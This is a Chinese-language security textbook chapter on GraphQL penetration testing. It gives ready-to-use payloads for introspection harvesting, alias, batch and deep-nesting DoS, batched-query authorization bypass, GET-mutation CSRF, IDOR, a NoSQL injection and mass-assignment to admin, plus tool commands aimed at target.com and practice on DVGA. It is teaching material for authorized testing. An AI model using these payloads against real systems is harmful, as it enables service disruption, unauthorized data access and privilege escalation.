第 65 章 GraphQL 安全测试(API 深度攻击)
GraphQL 正在取代 REST 成为现代 API 的主流。它"一个端点、查询什么给什么"的设计带来全新攻击面:内省泄露、DoS 向量、批量查询绕过、授权缺失。本章系统覆盖 GraphQL 的侦察→攻击→利用全流程。
📍 知识点地图 | 主题:GraphQL安全 | 前置:第58章 | 后续:— | 核心概念:内省、DoS向量、批查询绕过、越权
65.1 GraphQL 核心概念(先懂协议)
与 REST 的本质差异:
REST: 多个端点 + 固定返回结构
GraphQL: 单个端点(通常是 /graphql)+ 客户端自定义查询结构
三个核心操作:
Query(查询): 读数据
Mutation(变更): 写数据
Subscription(订阅): 实时推送
查询示例:
query { user(id: 1) { name email } }
mutation { deleteUser(id: 2) }
Schema(模式): 描述所有可查的类型/字段/参数 —— 攻击者的地图!
安全含义:GraphQL 把"攻击面"浓缩成一个端点,把"Schema 地图"放在内省(introspection)里——拿到 Schema = 拿到完整的 API 地图。
65.2 侦察:内省探测(三步降级法)
内省(Introspection)是什么
GraphQL 允许客户端查询"这个 API 能干什么"(Schema 自描述)
如果服务端未关闭内省 → 攻击者直接拿到完整数据结构
= 相当于 REST 的完整 API 文档泄露
三级探测(从完整到最小)
# Level 1 — 标准内省(完整 Schema 地图)
{
__schema {
queryType { name }
mutationType { name }
types {
name
fields { name type { name } }
}
}
}
# Level 2 — 精简内省(绕过简单的 WAF 规则)
{ __schema { types { name } } }
# Level 3 — 最小探测(只要"还有没有内省")
{ __type(name: "Query") { name } }
批量收割 Schema
如果 Level 1 被封,逐个类型查询:
{ __type(name: "User") { fields { name type { name } } } }
{ __type(name: "Mutation") { fields { name args { name type { name } } } } }
拿到 Schema 后的价值:
□ 所有类型/字段/参数(完整攻击面地图)
□ Mutation 列表(哪些"写"操作存在——越权测试目标)
□ 参数类型(ID/输入对象/枚举——知道怎么构造)
□ 危险字段(delete/update/admin/secret)
□ 自定义标量(可能是 JSON/文件/URL —— 注入点)
65.3 DoS 攻击向量(GraphQL 特有)
1. 别名过载(Alias Overload)
原理: 同一字段用不同别名重复查询 → 服务端重复执行
查询: { a1: __typename a2: __typename ... a100: __typename }
危害: 单个请求消耗数百倍资源(无速率限制时)
绕过限速: 限速按"请求数"计 → 别名让"一个请求=100 次执行"
2. 批查询过载(Batched Query)
[
{ "query": "query { me { id } }" },
{ "query": "query { me { email } }" },
... 几十个
]
3. 循环嵌套查询(Cyclic Query)
# 类型互相引用 → 无限嵌套
query {
__schema {
types {
fields {
type {
fields {
type { fields { name } } # 无限加深
}
}
}
}
}
}
4. 指令过载
query { __typename @skip(if: false) @include(if: true) ...重复指令... }
5. 深度过载(Deep Query)
# 字段多层嵌套(friends -> friends -> friends...)
query { me { friends { friends { friends { ... } } } } }
防御认知:服务端应有查询深度限制、复杂度限制、别名限制、批查询限制。
65.4 授权测试(GraphQL 越权的特殊性)
1. GET 请求执行 Mutation(CSRF)
GraphQL 通常接受 GET 请求(参数在 query 字符串)
→ 攻击者用 <img> 或 <a> 触发 GET → 执行 mutation(写操作)
GET /graphql?query=mutation+{+deleteUser(id:1)+}
2. 批查询绕过认证(经典!)
原理: 某些实现只验证"第一个查询"的权限,批里的其他查询不验证
[
{ "query": "query { me { id } }" }, # 已验证(自己的)
{ "query": "mutation { deleteUser(id: 2) }" } # 未验证(别人的!)
]
3. 字段级授权缺失
问题: REST 按端点授权,GraphQL 按字段授权——很多实现只在"查询级"验证
→ 查询能过,但其中某个字段没检查权限
测试: 构造包含敏感字段的查询,看是否返回数据
query { user(id: 1) { name email phone secretToken } }
4. IDOR in GraphQL
和 REST 相同的 IDOR 测试(第 58.6),但:
□ 参数在 query/mutation 的参数列表里
□ 枚举更方便(Schema 告诉你所有 ID 参数)
query { user(id: 1002) { name } } # 别人的数据
65.5 参数注入(GraphQL 参数也是输入)
□ NoSQL 注入(JSON 参数):
{"username": {"$gt": ""}, "password": {"$ne": ""}}
□ 批量赋值(Mutation 输入对象):
mutation { updateUser(id: 1, input: {email: "x@y.z", role: "admin", isAdmin: true}) }
□ 自定义标量注入:
如果 Schema 有"任意 JSON/文件路径/URL"标量 → 注入测试点
65.6 GraphQL 工具链
# 1. Vespasian(流量 → API 规范)
vespasian crawl --url https://target.com --depth 3
vespasian import --file traffic.har
vespasian export --format openapi3 --output api-spec.yaml
# 2. Entropy(LLM 自动攻击生成——五种人格)
entropy --spec api-spec.yaml --live --persona all
# 人格: malicious_insider(IDOR/越权) bot_swarm(限速绕过)
# penetration_tester(注入) impatient_consumer(竞态) confused_user(边界)
# 3. api.sh(8 阶段管道)
./api.sh graphql-recon https://target.com/graphql
./api.sh graphql-exploit https://target.com/graphql
./api.sh rest-abuse https://target.com/api
./api.sh ws-test wss://target.com/ws
./api.sh rate-bypass https://target.com/api
# 4. Burp + InQL 扩展(GraphQL 自动内省+生成测试)
# 5. GraphQL Playground/Altair(手工查询)
65.7 完整测试流程
1. 找端点: /graphql /gql /api/graphql /v1/graphql(目录枚举+JS 逆向)
2. 内省探测(三级)→ 拿到 Schema 地图
3. 枚举 Query/Mutation → 标注敏感操作(delete/update/admin)
4. 授权测试: 批查询绕过/字段级越权/IDOR/GET mutation
5. 注入测试: 参数注入/NoSQL/自定义标量
6. DoS 测试: 别名/批/循环/深度过载(点到即止!)
7. 记录: 每个漏洞的查询语句+响应证据
65.8 检查清单
□ 端点发现(/graphql 等)
□ 内省开启?(三级探测)
□ Schema 全量收割(类型/字段/参数)
□ 敏感 Mutation 列表
□ 批查询认证绕过
□ GET mutation CSRF
□ 字段级越权
□ IDOR(ID 参数遍历)
□ 参数注入(NoSQL/批量赋值/标量)
□ DoS 向量(别名/批/循环/深度)
□ 报告: 查询语句可复现
动手练习
- 在 DVGA(Damn Vulnerable GraphQL App,专为 GraphQL 漏洞设计)靶场完成:内省、别名 DoS、批查询绕过三个实验。
- 用 Burp InQL 对一个练习 GraphQL 端点自动内省,导出 Schema 并标注敏感字段。
- 构造一次"批查询认证绕过"(一个已验证查询+一个未验证 mutation),观察服务端行为。
- 用 Vespasian 从 HAR 生成一个 API 规范,对比"实际 API"与"文档 API"的差异。
深入阅读
- 仓库:
skills/api-security/SKILL.md(API 安全 10 阶段方法论) - 仓库:
skills/api-security/references/rest-graphql-testing.md(GraphQL 完整测试清单) - 仓库:
CTF-Sandbox-Orchestrator/competition-graphql-rpc-drift/(GraphQL CTF 子技能) - 仓库:
CTF-Sandbox-Orchestrator/competition-bundle-sourcemap-recovery/(前端 bundle 找端点) - 仓库:
skills/pentest-tools/src-hunter/(SRC 中的 API 漏洞)